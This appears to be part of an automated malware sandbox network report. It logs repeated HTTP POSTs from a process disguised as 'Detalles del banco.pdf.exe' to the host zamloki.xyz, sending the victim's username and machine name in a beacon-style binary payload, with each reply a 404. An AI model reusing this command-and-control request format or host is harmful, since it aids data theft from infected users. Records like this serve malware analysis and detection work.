Jul 27, 2021 22:08:33.898783922 CEST	7104	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5DwbC6dRbySlHdNIJ2sO1axVLUqFaO6lkGZuHXpm0sObMXVKBQMenTiQvmsxLpGhZrzGuEJ%2Br7bFEUtDS7ozFGp4HGSDxoHSULg8SQQjOIIzM1nCQ%2F6vEiSLv9%2FQtw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 675880197d104abc-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.6	49861	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:34.173557043 CEST	7105	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:34.202016115 CEST	7105	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:34.548316002 CEST	7106	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bx1kS491AqRHMOK89bd4kZo65%2BYwhd17Kg6qlXJXw5Q%2FC0YAngi6SC9zfM9gIFImbCl8OoZt4LTWxhMqs5Ru49VnoRMLQAfwcKnLIAhqAOidzntfQgwteBHv5oSL6g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6758801da800430f-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.6	49862	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:34.778959990 CEST	7106	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:34.809708118 CEST	7107	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:35.064039946 CEST	7107	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=B8CTBasA%2FYIYXIlOwVdhUa7Vsg0gdWREXNgFml%2FfxkK6z2TwZYIHXtQ5Emren6L%2BKRTVmjdksNmmhaGjdKx9TXKrKtc%2B7jQzi7mq2tH8w6jhwjZeyDPHjfgugI64Tw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 675880216c254345-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.6	49863	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:35.280374050 CEST	7108	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:35.308139086 CEST	7109	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:35.572381973 CEST	7109	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DNSyUk5pczvAO5ErtyL%2Bw9y%2BMcgnzuM12M%2BNk4EAx5Q9O4y%2F4qpSjH%2Fldc8DY%2Bp0JlY9h91%2BTLehBPCp8ETdZi4xwQGcAvLg7f4AgBIHFvA7fGmofoHYdzFD%2FBGeEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 675880248bdd4ea4-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	49742	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:25.277672052 CEST	1723	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:25.305399895 CEST	1723	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:25.580457926 CEST	1731	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=G2o2BSGSfmSpAWdoz7Sh07SU9brK6XoOSQeHdpITb6Yf74kVpD340kgRxjJk3LDioAbFgN1pYfACkyPwJJqVDU66WPvPnPgz2gBNUXkB3p88ALcS77xKxKGVUXjcTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e6f0b511752-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.6	49864	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:35.800671101 CEST	7110	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:35.831248999 CEST	7110	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:36.097815037 CEST	7111	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yWVBVjWqq2DbN4OnozE41lXcJ%2FLnkbxgdEQiVInCaDX0TghC2TFTzLT4TB2GkmybyrfDilbJKEcpJ4te7EvRVEb7JjaoIowesv0%2FB0nmvyvnWRIP2neM8BKR5OHFpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67588027d9a342c9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.6	49865	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:36.302148104 CEST	7112	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:36.329982042 CEST	7112	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:36.586530924 CEST	7113	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Firrwyf9HkbuMT9gwvJCEg0IMCEHHY0tOuB%2BDlJZfdN8TsWCAWKiib2Yrx%2FuYEx2mYHUXXWaPoMFvp%2BpWEeCoFM74roW0JciVEDyxopf5Glfq6vINetFM9j6VDqTQA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6758802aff3c4339-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.6	49866	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:36.838912010 CEST	7114	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:36.868509054 CEST	7114	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:37.168118000 CEST	7115	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yWj4BXctvpO7M0cpiEC4TesjobT2jVKMXWs0CyRHrJDhiu%2FmQ4nrem7GaqaUbEbo7uAfU58jSAoYPx1BoiqDnesiTcRAKEIFg9tx4feGs%2FCKEcFYTyINsfkrmjZoFw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6758802e48a8430f-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	49744	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:25.822462082 CEST	1746	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:25.849389076 CEST	1774	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:26.108458042 CEST	1908	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AlCbQgPpLnftO2Dm461Y6%2FHPBZREMbVoLQrHwJ273W71eQop9VLsmQM0Y9p7b1NyyIvTMIP0kX1iNjBDGNmqqj9MPZJLdvBLdfBwnT27m8sAFAa%2FanhYTJttycKClQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e7279684a9e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	49746	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:26.435924053 CEST	1910	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:26.462558985 CEST	1910	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:26.721088886 CEST	1958	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=21Dx5znX88rLoQLN7fmAD70AJB0D09ab5%2BUH4cih4JIl8EyG2y0wknOGYajnFjQ6X%2B3i3fQGqV0RenynHE0KbAq7C2A2xuCFSyZumWlNL9l3Gj87beoVH17Zt%2BN1oQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e7649ef42cf-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	49747	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:27.067217112 CEST	2122	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:27.099087000 CEST	2122	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:27.346529961 CEST	2123	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hTL4uO%2B5xnTKwWB%2BLiJZmBMG64Q%2BKRsOfjoddcgk9%2FpC4WQ6GvetOnQ1m1Jf0XgjgUxpRqvbhaiVNpBnwPR90NHCb5PHhKIgIDyjeCTNusvD793SUfUY5d21cQA0YA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e7a48f24a56-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	49749	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:27.621690989 CEST	2130	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:27.650980949 CEST	2131	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:27.918581009 CEST	2173	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=b8mjvT%2FOfrgm4HYs%2FZk6IR1NC7WGD%2FJdrMIcV0XDCQ9Hz6pgM6GTQFuHhJmY8ggPPb6m6MSW%2Bunk2DvC4DjfNTUQ8dD9D6ate9uZ%2BnrDeWDMmY%2B8%2Bx2ZGRHefJtplw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e7dbce54e0d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	49751	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:28.192569971 CEST	2213	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:28.220525980 CEST	2213	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:28.492999077 CEST	2214	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=76l%2BHLoa%2BN9kFmkfELVa9kBuyL8cemTzKEgdHqS6MQYgZzy%2Fg3o21rdFWRNtdvwnvrKqYgwlsHIVtBj2RbpPNOKL1o2AlLXB8sP6UZJsZcJ1dbJvf7CQT3e9n2kpGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e8148b54e67-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	49752	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:28.714145899 CEST	2215	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:28.742399931 CEST	2215	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:29.005177021 CEST	2216	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=w%2BHvDm5bbs7odyXEZgTQd7Uu%2BsbKrCLihEKqTc7H4ojei7wNDPpxv8Udcrts2aHlzHLZ%2BBPLykDAE6N%2BMh%2B17neBtj4mhtL4eKZOGPP8GPbOeCZtD3B1v29HVsEmQw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e848dc616f2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	49753	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:29.257810116 CEST	2255	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:29.286511898 CEST	2255	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:29.566421986 CEST	2256	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2F4Cf2yKfChNQIPQbjsd6AtYoM2HdMWQxjC2NlghwH%2Bk2OGDrUo2YOTSjtI2P4pdkM7JcFZ4UdnTv20SWKHpS9%2FIWEvaSpaLjgunI9ZVOYHttkhbBSoQxMKhTNoN3fQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e87ef7e2c42-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49725	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:16.920851946 CEST	1298	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
